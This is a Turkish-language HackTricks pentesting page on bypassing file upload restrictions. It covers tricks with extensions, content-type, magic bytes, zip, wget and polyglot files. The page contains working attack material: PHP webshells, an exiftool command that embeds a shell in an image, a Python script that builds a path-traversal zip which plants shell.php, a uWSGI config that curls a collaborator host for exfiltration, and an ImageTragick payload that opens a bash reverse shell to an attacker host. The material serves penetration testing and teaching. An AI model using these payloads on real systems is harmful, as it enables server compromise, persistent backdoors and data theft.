Dosya Yükleme

Reading time: 16 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Dosya Yükleme Genel Metodolojisi

Diğer yararlı uzantılar:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • PHPv8'de Çalışma: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Sunucusu: .yaws

Dosya uzantısı kontrollerini atlama

  1. Eğer uygulanıyorsa, önceki uzantıları kontrol edin. Ayrıca bazı büyük harfler kullanarak test edin: pHp, .pHP5, .PhAr ...
  2. Geçerli bir uzantıyı yürütme uzantısından önce eklemeyi kontrol edin (önceki uzantıları da kullanın):
  • file.png.php
  • file.png.Php5
  1. Sonuna özel karakterler eklemeyi deneyin. Tüm ascii ve Unicode karakterlerini bruteforce etmek için Burp kullanabilirsiniz. (Daha önce bahsedilen uzantıları kullanmayı da deneyebilirsiniz)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlamayı deneyin, örneğin uzantıyı iki katına çıkararak veya uzantılar arasında gereksiz veriler (null baytları) ekleyerek. Daha iyi bir yük hazırlamak için önceki uzantıları da kullanabilirsiniz.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Önceki kontrol için bir başka uzantı katmanı ekleyin:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Geçerli uzantıdan önce exec uzantısını koymayı deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantı _.php**_** ile çalışacak şekilde yapılandırılmış Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, ancak .php ile bitmek zorunda değildir):
  • ex: file.php.png
  1. Windows'ta NTFS alternatif veri akışı (ADS) kullanın. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda yasaklı uzantıya sahip boş bir dosya oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra kısa dosya adını kullanarak diğer tekniklerle düzenlenebilir. “::$data” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek, daha fazla kısıtlamayı atlamak için de yararlı olabilir (örneğin “file.asp::$data.”)
  2. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilecektir. Ve kötü niyetli PHP kalacaktır. AAA<--SNIP-->AAA.php
# Linux maksimum 255 bayt
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkarın ve .png ekleyin
# Dosyayı yükleyin ve kaç karakterin izin verildiğini kontrol edin. Diyelim ki 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Yükü oluşturun
AAA<--SNIP 232 A-->AAA.php.png

İçerik Türü, Sihirli Numara, Sıkıştırma ve Yeniden Boyutlandırmayı Atlama

  • Content-Type kontrollerini atlamak için Content-Type başlığının değerini ayarlayın: image/png, text/plain, application/octet-stream_
  1. Content-Type kelime listesi: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Sihirli numara kontrolünü atlamak için dosyanın başına gerçek bir görüntünün baytlarını ekleyin ( file komutunu karıştırın). Veya metadata içine shell ekleyin:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ veya yükü doğrudan bir görüntüye de ekleyebilirsiniz:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Eğer görüntünüze sıkıştırma ekleniyorsa, örneğin bazı standart PHP kütüphaneleri kullanılarak PHP-GD, önceki teknikler işe yaramayacaktır. Ancak, sıkıştırmayı hayatta tutacak bazı metin eklemek için PLTE chunk burada tanımlanan teknik kullanılabilir.
  • Kod ile Github
  • Web sayfası ayrıca görüntüyü yeniden boyutlandırıyor olabilir, örneğin PHP-GD fonksiyonları imagecopyresized veya imagecopyresampled kullanarak. Ancak, sıkıştırmayı hayatta tutacak bazı metin eklemek için IDAT chunk burada tanımlanan teknik kullanılabilir.
  • Kod ile Github
  • Bir görüntü yeniden boyutlandırmayı hayatta tutacak bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu thumbnailImage kullanmaktır. Ancak, sıkıştırmayı hayatta tutacak bazı metin eklemek için tEXt chunk burada tanımlanan teknik kullanılabilir.
  • Kod ile Github

Diğer Kontrol Edilecek Hileler

  • Yüklenmiş dosyanın adını değiştirmek için bir zafiyet bulun (uzantıyı değiştirmek için).
  • Geri kapıyı çalıştırmak için bir Yerel Dosya Dahil Etme zafiyeti bulun.
  • Olası Bilgi sızıntısı:
  1. Aynı dosyayı birden fazla kez (ve aynı anda) aynı isimle yükleyin.
  2. Zaten var olan bir dosya veya klasör adıyla bir dosya yükleyin.
  3. “.”, “..” veya “…” gibi bir adı olan bir dosya yükleyin. Örneğin, Apache'de Windows'ta, uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydederse, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
  4. NTFS'te kolayca silinmeyen bir dosya yükleyin, örneğin “…:.jpg”. (Windows)
  5. Windows'ta adında geçersiz karakterler içeren bir dosya yükleyin, örneğin |<>*?”. (Windows)
  6. Windows'ta rezerv (yasaklı) adlar içeren bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
  • Ayrıca, kurban tarafından yanlışlıkla açıldığında kod çalıştıracak bir .exe veya daha az şüpheli bir .html yüklemeyi de deneyin.

Özel uzantı hileleri

Eğer bir PHP sunucusuna dosya yüklemeye çalışıyorsanız, kod çalıştırmak için .htaccess hilesine bir göz atın.
Eğer bir ASP sunucusuna dosya yüklemeye çalışıyorsanız, kod çalıştırmak için .config hilesine bir göz atın.

.phar dosyaları, Java için .jar gibi, ancak PHP için kullanılabilir ve bir php dosyası gibi kullanılabilir (php ile çalıştırarak veya bir script içinde dahil ederek...)

.inc uzantısı bazen yalnızca dosya içe aktarmak için kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, birisi bu uzantının çalıştırılmasına izin vermiş olabilir.

Jetty RCE

Eğer bir Jetty sunucusuna bir XML dosyası yükleyebilirseniz, yeni *.xml ve *.war otomatik olarak işlenir. Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını $JETTY_BASE/webapps/ dizinine yükleyin ve shell'i bekleyin!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Bu zafiyetin detaylı bir keşfi için orijinal araştırmaya bakın: uWSGI RCE İstismarı.

Uzak Komut Yürütme (RCE) zafiyetleri, .ini yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, @(filename) olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir .ini yapılandırma dosyası işlendiğinde, Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.

Aşağıdaki örnekte, çeşitli şemaları gösteren zararlı bir uwsgi.ini dosyası düşünün:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Yükleme işlemi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme moduna ayarlanmalıdır. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.

uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük, bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve potansiyel istismar kapsamını daha da genişletebilir.

wget Dosya Yükleme/SSRF Hilesi

Bazı durumlarda, bir sunucunun wget kullanarak dosya indirdiğini ve URL'yi belirleyebileceğinizi görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğinden emin olmak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, bu kontrol atlatılabilir.
linux'ta bir dosya adı için maksimum uzunluk 255 karakterdir, ancak wget dosya adlarını 236 karakterle kısaltır. "A"*232+".php"+".gif" adında bir dosya indirebilirsiniz, bu dosya adı kontrolü atlatacaktır (bu örnekte ".gif" geçerli bir uzantıdır) ancak wget dosyayı "A"*232+".php" olarak yeniden adlandıracaktır.

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Not edin ki başka bir seçenek bu kontrolü atlamak için HTTP sunucusunun farklı bir dosyaya yönlendirilmesi olabilir, böylece başlangıç URL'si kontrolü atlayacak ve wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu çalışmayacak eğer wget parametre --trust-server-names ile kullanılmıyorsa çünkü wget, yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir.

Araçlar

  • Upload Bypass dosya yükleme mekanizmalarını test etmek için Pentesterlar ve Hata Avcıları'na yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, güvenlik açıklarını tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.

Dosya yüklemeden diğer güvenlik açıklarına

İşte yükleme yaparak elde edebileceğiniz şeylerin ilk 10 listesi (buradan buraya):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Saklı XSS / SSRF / XXE
  3. GIF: Saklı XSS / SSRF
  4. CSV: CSV enjeksiyonu
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML enjeksiyonu / XSS / Açık yönlendirme
  8. PNG / JPEG: Piksel sel saldırısı (DoS)
  9. ZIP: LFI / DoS üzerinden RCE
  10. PDF / PPTX: SSRF / KÖR XXE

Burp Eklentisi

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Sihirli Başlık Baytları

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

Diğer dosya türleri için https://en.wikipedia.org/wiki/List_of_file_signatures adresine bakın.

Zip/Tar Dosyası Otomatik Olarak Açılan Yükleme

Eğer sunucu içinde açılacak bir ZIP yükleyebiliyorsanız, 2 şey yapabilirsiniz:

Diğer dosyalara soft linkler içeren bir bağlantı yükleyin, ardından açılan dosyalara erişerek bağlı dosyalara erişebilirsiniz:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Farklı klasörlerde aç

Açma işlemi sırasında dizinlerde beklenmedik dosyaların oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.

Bu tür dosyaları oluşturmak için otomatik bir istismar evilarc on GitHub adresinde mevcuttur. Araç aşağıdaki gibi kullanılabilir:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Ayrıca, evilarc ile symlink hilesi bir seçenektir. Amaç /flag.txt gibi bir dosyayı hedef almaksa, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar.

Aşağıda, kötü niyetli bir zip dosyası oluşturmak için kullanılan bir Python kodu örneği bulunmaktadır:

python
#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Sıkıştırmayı kötüye kullanarak dosya yayma

Daha fazla detay için orijinal gönderiyi kontrol edin: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. PHP Shell Oluşturma: PHP kodu, $_REQUEST değişkeni aracılığıyla geçirilen komutları çalıştırmak için yazılır.
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. Dosya Yayma ve Sıkıştırılmış Dosya Oluşturma: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi derlenir.
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Hex Editörü veya vi ile Değişiklik: Zip içindeki dosyaların isimleri vi veya bir hex editörü kullanılarak değiştirilir, "xxA" "../" olarak değiştirilir ve dizinler arasında geçiş yapılır.
bash
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Bu içeriği bir resim uzantısıyla yükleyerek açığı kullanın (ImageMagick , 7.0.1-1) (form the exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNG Üzerine PHP Shell Gömme

Bir PNG dosyasının IDAT parçasına PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlatabilir. PHP-GD'den imagecopyresized ve imagecopyresampled fonksiyonları, sırasıyla görüntüleri yeniden boyutlandırma ve yeniden örnekleme için yaygın olarak kullanıldığından, bu bağlamda özellikle önemlidir. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği, belirli kullanım durumları için önemli bir avantajdır.

Bu tekniğin detaylı bir keşfi, metodolojisi ve potansiyel uygulamaları ile ilgili bilgi aşağıdaki makalede sağlanmıştır: "Encoding Web Shells in PNG IDAT chunks". Bu kaynak, sürecin ve sonuçlarının kapsamlı bir anlayışını sunmaktadır.

Daha fazla bilgi için: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Poliglot Dosyalar

Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder ve birden fazla dosya formatında geçerli bir şekilde var olabilen kamuflajlar gibidir. İlginç bir örnek, hem GIF hem de RAR arşivi olarak işlev görebilen bir GIFARdır. Bu tür dosyalar bu eşleşme ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.

Poliglot dosyaların temel yararı, dosyaları türüne göre tarayan güvenlik önlemlerini aşabilme yetenekleridir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (örneğin, JS, PHP veya Phar dosyaları) riskini azaltmak için yalnızca belirli dosya türlerinin yüklenmesine izin vermektir—JPEG, GIF veya DOC gibi. Ancak, bir poliglot, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice aşabilir.

Uyum sağlama yeteneklerine rağmen, poliglotlar sınırlamalarla karşılaşabilir. Örneğin, bir poliglot aynı anda bir PHAR dosyasını (PHp ARchive) ve bir JPEG'i barındırabilirken, yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem, izin verilen uzantılar konusunda katıysa, bir poliglotun yalnızca yapısal ikiliği, yüklemesini garanti etmek için yeterli olmayabilir.

Daha fazla bilgi için: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Geçerli JSON'ları PDF gibi yükleme

Geçerli bir JSON dosyasını yükleyerek dosya türü tespitlerinden nasıl kaçınılır, PDF dosyası taklidi yaparak (bu blog yazısından teknikleri):

  • mmmagic kütüphanesi: İlk 1024 baytta %PDF sihirli baytları varsa geçerlidir (örneği yazıdan al)
  • pdflib kütüphanesi: JSON'un bir alanına sahte bir PDF formatı ekleyerek kütüphanenin bunun bir pdf olduğunu düşünmesini sağla (örneği yazıdan al)
  • file ikili: Bir dosyadan 1048576 bayta kadar okuyabilir. Sadece bunun üzerinde bir JSON oluştur, böylece içeriği JSON olarak ayrıştıramaz ve ardından JSON'un içine gerçek bir PDF'nin başlangıç kısmını koy, böylece bunun bir PDF olduğunu düşünecektir.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin